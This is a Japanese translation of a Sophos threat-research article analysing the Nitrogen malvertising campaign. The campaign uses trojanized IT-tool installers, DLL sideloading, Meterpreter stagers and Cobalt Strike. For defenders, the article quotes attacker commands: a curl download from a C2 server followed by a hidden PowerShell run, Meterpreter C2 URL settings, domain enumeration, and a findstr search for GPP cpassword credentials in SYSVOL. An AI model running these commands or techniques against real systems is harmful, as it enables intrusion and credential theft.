脅威の調査

正規の IT ツールになりすまして感染を拡大する新たな初期アクセスマルウェア「Nitrogen」

元素の名前を持つ珍しい攻撃技術を用いる新たな初期アクセスキャンペーンが存在感を増しています。

**本記事は、Into the tank with Nitrogenの翻訳です。最新の情報は英語記事をご覧ください。**

2023 年 7 月 26 日 19:35 UTC 更新: Nitrogen に関する追加の研究情報を加筆しました。

6 月中旬、Sophos X-Ops は、悪意のある広告 (マルバタイジング) を活用し、正規のソフトウェアになりすまして企業ネットワークを侵害する、これまで報告されていなかった初期アクセスマルウェアキャンペーンを確認しました。

コード中に発見された文字列から、私たちはこのキャンペーンを「Nitrogen」と名付けました。このキャンペーンは、Google や Bing の広告を悪用して、特定の IT ツールを求めるユーザーを標的にした日和見的な攻撃キャンペーンであり、Cobalt Strike のような第二段階の攻撃ツールを展開するために企業環境へのアクセスを獲得することを目的としています。

Sophos X-Ops は、北米の IT 企業や非営利組織など、複数の組織を標的とした Nitrogen キャンペーンを観測しました。ソフォスは、ハンズオンキーボード攻撃 (攻撃者が手動で行う攻撃) がさらに発生する前に感染を緩和しました。攻撃者は、この感染チェーンを利用して環境を構築し、そこからランサムウェアを展開することを意図している可能性が高いと分析しました。この分析は、BlackCat (別名 ALPHV) ランサムウェア感染に繋がる同様の感染チェーンを観察したとする Trend Micro 社の最近の調査によって裏付けられています。

本記事を公開した後、Sophos X-Ops は、Nitrogen に関するさらなる調査が存在することに気づきました。この調査は Esentire によるものであり、こちらからご確認いただけます。

A flowchart showing a simplified flow for the initial-attack process describedi n the article

図 1: 観測された Nitrogen 感染チェーンの概要

本記事では、ユーザーが Google や Bing で特定の人気ソフトウェアパッケージを検索することに端を発する感染プロセスを簡単に説明します。 感染の進め方には攻撃によって微妙に違いがあるため、検索から感染までの流れが異なる 3 つの例を掲載しました。中には、対応者を翻弄するような細工が加えられたものもあります。次にこのマルウェアがどのように動作し、感染したファイルをダウンロードするとどうなるのかについて詳しく説明します。(この攻撃チェーンで確認された MITRE ATT&CK 手法の一覧は、本記事の最後に掲載しています。)

Nitrogen マルウェアファミリ

このキャンペーンを調査していた X-Ops のアナリストは、「Nitrogen」と呼ばれる新たな初期アクセス型マルウェアファミリを発見しました。この名前は、ソフォスがマルウェアのサンプルから発見したコンポーネントおよびデバッグ情報に由来しており、マルウェア開発者がこのプロジェクトを Nitrogen または Nitronet と呼んでいることを示しています。これらのコンポーネントの名前は、Nitrogen キャンペーン中の NitrogenStager で使用されるリバースシェルスクリプトを生成するために活用されている Metasploit Framework (MSF) との関係も示しています。

主要なコンポーネントは以下のクラス名を使用します。

  • NitrogenStager
  • MsfPythonStager
  • NitronetNativeStager
  • NitroInstaller

感染チェーン

観測された感染経路は、Google や Bing の広告を利用した不正広告から始まります。その後、ユーザーを危険な WordPress サイトや人気のソフトウェア配布サイトを装ったフィッシングページに誘導し、そこでトロイの木馬化された ISO インストーラーをダウンロードさせます。

ダウンロードされると、インストーラーは悪意のある Python 実行環境がバンドルされた正規のソフトウェアアプリケーションを含む悪意のある NitrogenInstaller DLL をサイドロードします。Python パッケージは、悪意のある NitrogenStager ファイルを実行するために、ダイナミックリンクライブラリ (DLL) のプリロードを使用します。このファイルは、攻撃者のコマンドアンドコントロール (C2) サーバーに接続し、Meterpreter シェルと Cobalt Strike ビーコンの両方を標的のシステムにドロップします。感染チェーンを通じて、攻撃者は悪意のある活動を隠蔽し、分析を妨げるために、あまり一般的ではないエクスポート転送手法や DLL プリロードの手法を使用します。

感染チェーンには複数の段階と構成要素があり、本記事執筆時点ではまだ分析中です。
以下の図は、現時点で把握している内容です。

A flow chart showing detail in a portion of the flow of this attack, described later in the text

図 2: Nitrogen の感染チェーンの一部

初期感染

Nitrogen のマルバタイジングキャンペーンは、Google や Bing のペイパークリック (PPC) 広告を利用して正規の Web サイトを装い、ユーザーを騙して悪意のある Windows インストーラーファイルをダウンロードさせます。

具体的には、AnyDesk (リモートデスクトップアプリケーション)、WinSCP (Windows 用 SFTP/FTP クライアント)、Cisco AnyConnect VPN インストーラーなど、一般的なソフトウェアになりすまして広告を掲載していることから、このキャンペーンは情報技術 (IT) ユーザーを標的にしているようです。Managed Detection and Response が対応したある事例では、フリーディスクスペース管理ツールである TreeSize Free をトロイの木馬化したインストーラーを活用したキャンペーンが確認されました。これらは業務用途で使用されることが多いアプリケーションです。そのため、攻撃者は企業ネットワークへのアクセスを試みる目的で、これらのインストーラーになりすましていると考えられます。

X-Ops のアナリストは、Nitrogen マルウェアパッケージを展開する、複数のトロイの木馬化されたインストーラーを発見しました。これらのインストーラーが使用するファイル名を以下に示します。関連するハッシュは、GitHub の IoC (セキュリティ侵害の痕跡) ファイルで提供しています。いくつかのファイル名は、複数のトロイの木馬化インストーラーによって使用されていることに注意してください。

  • AnyDesk.iso
  • AnyDesk_v7.1.11.iso
  • AnyDesk_v7.1.iso
  • cisco-anyconnect-4.iso
  • TreeSizeFreeSetup.iso
  • winscp.iso
  • WinSCP_setup.iso
  • WinSCP-5.21.8-Setup.iso
  • WinSCP-6.1-Setup.iso

事例: 「WinSCP」のダウンロード

@malwareinfosec によって報告されているように、ユーザーが Google で WinSCP を検索すると、softwareinteractivo[.]com という Web サイトが「Windows 向けのセキュアなファイル転送」を謳った Google 広告がポップアップ表示されますが、これはシステム管理者向けのガイダンスブログを装ったフィッシングページです。私たちの調査では、このような検索結果が表示される地域は限定されているようですが、その全容は不明です。ソフォスの調査により、ここ数か月の間に複数のキャンペーンで何百種類もの製品がこの種のマルバタイジングに利用されたことが判明しました。

The page displayed at the fraudulent "softwareinteractivo" site

図 3: 疑わしい Web サイト softwareinteractivo[.]com。不正な広告をクリックするとリダイレクトされる

softwareinteractivo[.]com 中の広告をクリックすると、WinSCP 6.1 の偽のダウンロードページ (winsccp[.]com) にリダイレクトされ、悪質な ISO ファイルがユーザーのコンピューターにドロップされます。

The fake WinSCP download site; note that the URL is similar but not the same

図 4: winsccp[.]com は、本物の WinSCP ダウンロードページ (winscp.net) を模倣した悪質な Web サイト

注目すべきは、ユーザーや研究者が広告を経由せずに URL を入力して直接 winsccp[.]com の Web サイトにアクセスしようとすると、Rick Astley の名曲「Never Gonna Give You Up」の Youtube ビデオにリダイレクトされることです。文字通り研究者を「リックロール (説明と異なる内容のハイパーリンクを貼る行為)」しています。私たちは、フィッシングサイトが Referer ヘッダーを検査し、ユーザーが検索エンジンを経由してそのサイトを訪問したことを確認している可能性が高いと考えています。この手法は、マルバタイジングキャンペーンでは一般的なものです。

A collage of three screen shots showing that typing in the site URL directly got us rickrolled

図 5: Youtube の動画へのリダイレクト(出典: Jerome Segura [@malwareinfosec])

広告サイト (この事例では Google) から偽サイト、さらには悪意のある ISO へのリダイレクトチェーンは以下の通りです。各ステップの引数は編集してありますが、softwareinteractivo は Google クリック ID (gclid) を変更せずにそのまま引き渡していることに注目してください。

  1. https://www[.]googleadservices[.]com/pagead/[編集により削除]
  2. https://softwareinteractivo[.]com/streamlining-team-collaboration-the-power-of-for-seamless-file-sharing/[gclid]
  3. https://winsccp[.]com/HPVrxkWv?[gclid]
  4. https://winsccp[.]com/eng/download[.]php
  5. https://protemaq[.]com/wp-content/update/iso/6[.]1/tusto/WinSCP-6[.]1-Setup[.]iso

事例: 「Cisco AnyConnect」のダウンロード

フィッシングページを利用するだけでなく、攻撃者は mypondsoftware[.]com/cisco (正規の Cisco ダウンロードサイトを模倣した Web サイト) など、おそらくは侵害された WordPress サイト上でもマルウェアをホストしていました。注目すべきことに、myponsdsoftware[.]com 上の他のリンクは、悪意のある Nitrogen パッケージを配信するフィッシングページに誘導する特定のインストーラー (Cisco AnyConnect Secure Mobility Client v4.x) のダウンロードページを除いて、すべて正規の cisco.com の Web ページにリンクされていました。

A WordPress-based site with (stolen) Cisco branding, serving the malicious download

図 6: トロイの木馬に感染した Cisco AnyConnect Secure Mobility Client v4.x を配布する危険な WordPress サイト (mypondsoftware[.]com)

事例: 「TreeSize」のダウンロード

ソフォスのアナリストは、JAM Software の TreeSize Free プログラムを装ったダウンロードサイトにユーザーを誘導する不正な広告も発見しました。TreeSize Free プログラムは、主にディスクスペースの使用状況をスキャンするために使用されます。私たちが確認した事例では、ユーザーは QuickBooks のデバッグ中にファイルシステムをクリーンアップするツールを検索しており、TreeSize を自称する一連の Bing 広告にたどり着いたようです。ユーザーは初め正規の TreeSize Free Jam ソフトウェアの Web サイトにリンクされた広告をクリックしましたが、すぐに Bing に戻り、悪意のある ISO を提供する tresize[.]com へと誘導する不正な広告をクリックしました。WordPress の Web サイトでホストされている悪質な ISO ファイル「TreeSizeFreeSetup.iso」はダウンロードされると、すぐにシステムにマウントされます。

私たちが発見した他の配信サイトと同様に、ユーザーが tresize[.]com ドメインに直接移動すると、YouTube にリダイレクトされ、上述の Rick Astley の動画が表示されました。

DLL サイドローディング

上述の通り、ユーザーがトロイの木馬化されたインストーラーをダウンロードすると、感染したコンピューター上に ISO イメージとしてドロップされます。これらのファイルは Windows Explorer でマウントされ、ドライブを割り当てられます。コンテンツはそのドライブ内で利用できます。

ISO イメージ内のファイルの 1 つは Windows ツール msiexec.exe であり、 install.exe または setup.exe にリネームされています。実行されると、名前を変更された msiexec.exe は、同じイメージに格納された悪意のある msi.dll (NitrogenInstaller) ファイルをサイドロードします。

A file directory showing two files, install and msi.dll

図 7: トロイの木馬化されたインストーラーの中身

ダイナミックリンクライブラリ (DLL) のサイドローディングは、正規のプロセスを装って悪意のある活動を隠蔽するため、攻撃者がしばしば用いる手口です。通常、攻撃者はクリーンローダー実行ファイルが必要とするエクスポート用のダミー関数をサイドロードされた DLL に挿入することで、エラーメッセージの回避を試みます。まれに、DLL がオープンソースのコンポーネントであり、攻撃者が簡単に再コンパイルできる場合などには、悪意のある DLL が元の正規 DLL の全機能を実装していることがあります。

しかし、Nitrogen キャンペーンの攻撃者は、DLL サイドローディングを利用する攻撃には珍しい手法を使用しています。エクスポートされた関数 (悪意のあるコードを含む main 関数 MsiLoadStringW を除く) をシステムディレクトリに存在する正規の msi.dll に転送することで DLL プロキシを使用するという手法です。DLL プロキシ自体は目新しい攻撃手法ではありませんが、通常、DLL サイドローディングやプリローディングではなく、DLL ハイジャック攻撃に利用されます。

A file directory showing the exported functions

図 8: msi.dll からエクスポートされる関数

NitrogenInstaller

msi.dll (攻撃者には NitrogenInstaller と呼ばれています) はサイドロードされると、2 つの Python パッケージと共に、おとりとして利用した正規アプリケーションのクリーンインストーラー (WinSCP 用の Inno インストーラーなど) をドロップします。2 つの Python パッケージとは、正規の Python アーカイブと、悪意のある python310.dll ファイル (NitrogenStager) を含む 8-10 MB の暗号化されたファイルを含むトロイの木馬化された Python パッケージです。後者は AES CBC アルゴリズムで暗号化されており、暗号化キーはインストーラー DLL にハードコードされています。

A deceptive normal-looking install window

図 9: NitrogenInstaller によってドロップされたインストーラーによる正規の WinSCP のインストール。一見正常に見えますが、バックグラウンドで悪意のある動作が行われています

NitrogenInstaller のサンプルの中には、PDB パスなどのデバッグ情報が含まれており、プロジェクトの構造を推測できます。

Y:\nitronet\nitrogen\x64\Release - msi.dll\Nitrogen.pdb

Y:\x64\Release - msi.dll\Nitrogen.pdb

NitrogenInstaller はクリーンインストーラーと Python パッケージをドロップするだけでなく、CMSTPLUA CLSID を使用してユーザーアクセス制御 (UAC) バイパスを実行 (Elevation:Administrator!new:{guid}) し、権限の昇格を試みます。LockBitBlackMatter など、さまざまなマルウェアやランサムウェアファミリがこの手法を使用しています。

NitrogenInstaller DLL は常駐化するため、レジストリに実行キーを作成します。キーは「Python」と名付けられており、HKEY_USERS\<ユーザーの SID (識別子)>\Software\Microsoft\Windows\CurrentVersion\Run\Python に作成されます。また、5 分間隔で実行されるバイナリ C:\Users\Public\Music\python\pythonw.exe にリンクされている、「OneDrive Security」という名前の関連するスケジュールタスクも確認されました。

A screen capture showing the Registry with the keys as described in the text

図 10: DLL によって作成されるキー

Python パッケージ

上述の通り、NitrogenInstaller は以下の 2 つの Python パッケージをドロップします。

Python パッケージ ディレクトリ 目的
BeaconPack (正規) Public フォルダ内の Videos ディレクトリ このパッケージの主要なコンポーネントは \bof\__pycache__\__init__.cpython-310.pyc にあります。COFFLoader パッケージをベースにしており、このコンポーネントを使用して Beacon Object Files がロードされます。COFFLoader の main クラスは BeaconPack と名付けられています。
NitrogenStager パッケージ Public および All Users フォルダ内の My Music および Music ディレクトリ このパッケージにはトロイの木馬化された python310.dll が含まれており、C2 サーバーに接続して Meterpreter シェルを実行するために使用されます。

 

図 11 の 2 つのディレクトリは、アプリケーションの正規バージョン (BeaconPack 経由、左側) と悪意のあるバージョン (右側) の違いを示しています。クリーンな python310.dll と悪意のある python310.dll の違い、および上の表で示されたディレクトリの違いに注目してください。

Side-by-side images of two file directories, showing the file-detail differences between the legitimate and fake python311.dlls

図 11: 左側 (緑色の枠内) では、BeaconPack バージョンのアプリケーション内に、正規のバージョン情報を持った、よりサイズの大きいオリジナルの python310.dll が含まれています。右側 (赤色の枠内) には、よりサイズの小さい、バージョン番号、ファイルの説明、企業データが欠落した悪意のある DLL が含まれています。

では、なぜ攻撃者は悪意のあるパッケージと共に正規の Python パッケージもドロップするのでしょうか。そもそも、NitrogenStager の Python パッケージは、Python スクリプトを実行できません。通常、Python スクリプトは、pythonw.exe が Python パッケージ内の python310.dll から Py_Main 関数を呼び出すことで実行されます。しかし、NitrogenStager Python パッケージの Py_Main 関数は、悪意のある connect-back コードに置き換えられているため、スクリプトエンジンはロードされず、スクリプトは実行できません。

しかし、攻撃者が Cobalt Strike ビーコンの設置など、攻撃の後半段階を実行するためには、動作する Python 環境が必要です。これこそが、攻撃者が正規の BeaconPack Python Package をドロップする理由です。すなわち、感染チェーンの後半で必要となる Python コードを実行するためです。

NitrogenStager

悪意のある Python パッケージで NitrogenStager DLL をロードするため、攻撃者は、アプリケーションが絶対パスを指定せずにライブラリをロードしようとしたときに Windows 独自の DLL 検索順序を利用する DLL プリロードを活用しています。観察されたいくつかの事例では、攻撃者は正規の DLL (python310.dll) の名前を python311.dll (同じディレクトリに格納されています) に変更し、悪意のあるステージャー (NitrogenStager) を python310.dll という名前でディレクトリにコピーしていました。

注目すべきは、最新バージョンでは、攻撃者は悪意のある Python パッケージをバージョン 3.11 に「アップグレード」し、悪意のある NitrogenStager を python311.dll という名前でステージングし、元のクリーンな Python DLL の名前を python311x.dll に変更していることです。

上述のように、NitrogenStager Python パッケージは、その main 関数が悪意のある connect-back コードに置き換えられており、パッケージ内の他のすべてのエクスポートが元の正規の Python DLL (python311.dll) に転送されるため、Python スクリプトを実行できません。

A DLL Export Viewer screen showing the malicious DLL

図 12: Python310.dll は、Python311.dll のエクスポートを python311.{エクスポート名} として参照しています

この戦術は、以前に msi.dll をサイドロードするときに用いられたエクスポート転送の手法に類似しています。しかしこの場合、元のクリーンな DLLは、すでにシステム上に存在するのではなく、リネームされた DLL としてパッケージの一部になります。

C2 ステージング

Py_Main 関数内の悪意のある connect-back コードは実行時に自動的に読み込まれます。ソフォスは、NitrogenStager が 4 つの異なるプロトコル (TCP、TCP over SSL、HTTP、HTTPS) を使用して C2 サーバーに接続しているのを検出しました。このパッケージには、使用されるプロトコルごとに個別のスクリプト (tcp://、 tcpssl://、http://、https://) が含まれており、それぞれ C2 サーバーに接続し、レスポンス (base64+inflate) をデコードし、実行する機能を持っています。プロトコルのステージャーは、標準的なコマンドラインオプションを使用して Metasploit のペイロードを生成する msfvenom によって生成されたとみられるパブリックドメインツールをベースにしています。

A Python script as described in text

図 13: http:// 用の Python スクリプト

Base64 でエンコードされ、圧縮されたスクリプトは、ホストアドレスとポート番号を受け取ります。デコードされたスクリプトはごく標準的なもので、唯一の顕著な違いは特定の User Agent です。

The decoded handler, as described in text

図 14: https:// 用ハンドラー

NitrogenStager ファイル (python310.dll) には複数の変種があり、いくつかのサンプルでは C2 アドレスなどの文字列定数がコード内にはっきりと書かれています。

A screen of NitrogenStager code

図 15: NitrogenStager のサンプルコード

NitrogenInstaller のサンプルと同様に、NitrogenStager のサンプルの一部にも PDB パスなどのデバッグ情報が含まれています。

Z:\projects\nitrogen_vs\x64\Release - python310emb\Nitrogen.pdb

Y:\x64\Release - python310emb\Nitrogen.pdb

Y:\nitronet\nitrogen\x64\Release - msi.dll\Nitrogen.pdb

Meterpreter シェル

NitrogenStager DLL によってダウンロードされる次の段階のスクリプトは、基本的にこの Meterpreter スクリプトの設定変数を変更し、カスタマイズしたものです。たとえば、あるサーバーは http:// プロトコルで、以下の変数を含むスクリプトを配信します。

HTTP_CONNECTION_URL = 'http://104.234.119[.]16:8880/Tu6UHNJiKqMAdBVgZOhOfQWLz0QvKbDdGjzQfqCdxVaakl7csNUiwEdQzgC_lyE/'

HTTP_USER_AGENT = 'Mozilla/5.0 (iPad; CPU OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1'

PAYLOAD_UUID = '4eee941cd2622aa30074156064e84e7d'

SESSION_GUID = '386bab57d91a44868452fbf55ce59ff9'

そして、https:// プロトコルの変数は以下のとおり。

HTTP_CONNECTION_URL = 'hxxps://104.234.119[.]16:4425/NZAna530Nip9AWgVGZ0wvQmQqVlNzF3vDZ8VNfagijnmurLzImArKHfA/'

HTTP_USER_AGENT = 'Mozilla/5.0 (iPad; CPU OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1'

PAYLOAD_UUID = '3590276b9df4362a7d016815199d30bd'

SESSION_GUID = '208fc213c50f4816a3e1e097015c0d3f'

Python スクリプトが実行されると、Meterpreter リバース TCP シェルが確立され、攻撃者は侵害されたマシン上でリモートからコードを実行できるようになります。

手動での活動

観察された事例の 1 つでは、攻撃者がオープンセッションを通じて複数のコマンドを呼び出し、自動攻撃からハンズオンキーボード活動に切り替えていました。

curl  -k hxxps://172.86.123[.]127/python/ton.zip -o C:\\users\\public\\pictures\\ton.zip

powershell  -w hidden -command Expand-Archive C:\\users\\public\\pictures\\ton.zip -DestinationPath tonw.exe  work1.py

tonw.exe  work8.py

tonw.exe  work4.py

これらの手動で実行されるコマンドは、C2 サーバー (172.86.123[.]127) から ZIP ファイルを取得し、さらに追加の Python 環境 (Python Package 3) をダウンロードして実行し、Cobalt Strike ビーコンをメモリ内で実行する一連の Python スクリプトを呼び出します。Python Package 3 は、Public ディレクトリ内の Pictures サブフォルダから実行されます。

攻撃者はさらに、ドメインを発見し、列挙するコマンドを実行します。

net  group \"Workstation Admins\" /domain

findstr  /S /I cpassword \\\\<REDACTED>\\sysvol\\<REDACTED>\\policies\\*.xml

net  group \"{redacted}\" /domain

net  localgroup administrators

net  group \"Domain Admins\" /domain

net  group \"{redacted}\" /domain

net  group \"{redacted}\" /domain

ipconfig  /all

net  group /domain

「findstr /S /I cpassword \\\\\\sysvol\\\\policies\\*.xml」コマンドは、「cpassword」という文字列が存在する可能性のある XML ファイル内のグループポリシー環境 (GPP) 設定を検索します。この活動は、ソフォス製品には EQL-WIN-DIS-PRC-FINDSTR-CPASSWORD-1 として検出されます。

Cobalt Strike サーバー

上述の悪意のある手動セッションは、攻撃者が Cobalt Strike C2 サーバー 172.86.123[.]127 からダウンロードしたファイルである Python スクリプト work1.py から work.9.py までを参照しています。(本項目で説明するファイルのハッシュも、ソフォスの GitHub 上の IoC ファイルに含まれています。)

work*.py スクリプトがロードされると、次の段階の URL を含むコンパイルされたオブジェクトが実行されます。たとえば、スクリプト work3.py は同じサーバーからファイル work3 をダウンロードします。ダウンロードされるファイル work3 は、Cobalt Strike のビーコンです。

Code executed by the python scripts

図 16: work*.py によって実行される、コンパイルされたオブジェクト

Hex code showing the URL for a command-and-control server used by Cobalt Strike

図 17: Cobalt Strike C2 サーバーの URL を含むコンパイルされたコード

SophosLabs は、標的となったサーバーから複数の Cobalt Strike ビーコンを回収しました。

C2 サーバー HttpPostUri
45.81.39[.]177,/jquery-3.3.1.min.js /jquery-3.3.2.min.js
45.81.39[.]175,/jquery-3.3.1.min.js /jquery-3.3.2.min.js
167.88.164[.]141,/jquery-3.3.1.min.js /jquery-3.3.2.min.js
45.66.230[.]215,/jquery-3.3.1.min.js /jquery-3.3.2.min.js
45.66.230[.]216,/jquery-3.3.1.min.js /jquery-3.3.2.min.js
23.227.196[.]140,/broadcast /1/events/com.amazon.csm.csa.prod
85.217.144[.]164,/broadcast /1/events/com.amazon.csm.csa.prod

 

ソフォス製品は、攻撃者がハンズオンキーボード活動に移行したり、追加のペイロードを展開したりする前に、感染を検出し、修復しました。

結論 – 発展途上の初期アクセス

検索エンジンの検索結果に表示される PPC 広告の悪用は、最近の攻撃者が最も頻繁に用いる手口の一つとなっています。最終的に Nitrogen に感染させることを目的とした、トロイの木馬化されたインストーラーが多数存在することから、攻撃者は特定の IT ツールを求める無防備なユーザーを誘い出すため、攻撃の網を張り巡らせていると評価できます。より広範囲に Nitrogen を配信するため、今回のキャンペーンが、今後他の種類の人気ソフトウェアへのなりすましに発展していく可能性があります。

攻撃者はさまざまな手法で活動を隠蔽しようとするため、包括的で強固な検出ソリューションを採用することが必要です。ソフォス製品は、今回のキャンペーンのさまざまな攻撃行為からマシンを防御します。特に、観測された事例では、標的とされた環境における不正アクセスやその後の活動を HeapHeapProtect が迅速に特定し、修復していました。さらに、Cobalt Strike コンポーネントのメモリ検出機能により、さらなる侵害の手口を発見し、フラグを立てられるため、攻撃チェーンを通じた動的検出が可能です。

推奨される対策

  • 検索エンジンから配信される広告に注意しましょう。
  • 広告をブロックする拡張機能を使用するか、広告ブロック機能がデフォルトで組み込まれているブラウザを使用しましょう。広告ブロッカーを選ぶ際には、検索エンジンが自身の Web サイトに掲載する広告を制限する「非侵入型広告」をブロックできるものを選ぶことをおすすめします。
  • グループポリシーオブジェクト (GPO) による仮想ファイルシステムのマウント機能の制限を検討しましょう。
  • 不審な拡張子を持つファイルのダウンロードには注意しましょう。
  • 不審な Web サイトを警戒し、次のようなフィッシングの兆候に注意しましょう。
    • 「緊急」の通知
    • 綴りや文法の間違い
    • 洗練されていないマーケティング
  • レジストリ内に認証情報を保存しないようにし、潜在的なリスクを修正するためレジストリ内の認証情報をプロアクティブに検索しましょう。ソフトウェアが認証情報をレジストリ内に保存する必要がある場合は、攻撃者に取得・悪用されないように、関連するアカウントに与えられた権限が限定されていることを確認しましょう。

セキュリティ侵害の痕跡

関係するすべてのセキュリティ侵害の痕跡 (IoC) は、ソフォスの GitHub で公開されています。

今回の分析で特定された MITRE TTP (戦術、手法、手順)

T1583.001: 攻撃インフラの取得: ドメイン

T1583.008: 攻撃インフラの取得: マルバタイジング

T1584.001: インフラの侵害: ドメイン

T1608.001: 武器の結集: マルウェアのアップロード

T1588.002: 武器の取得: ツール

T1574.002: 実行フローの乗っ取り: DLL サイドローディング

T1053.005: 定期的に実行されるタスク/ジョブ: 定期的に実行されるタスク

T1069.002: アクセス許可グループの検出: ドメイングループ

T1552.002: 安全でない認証情報: レジストリ内の認証情報

T1547.001: ブートまたはログオン時の自動実行: レジストリ実行キー/スタートアップフォルダ

T1553.005: トラストコントロールの破壊: MOTW の迂回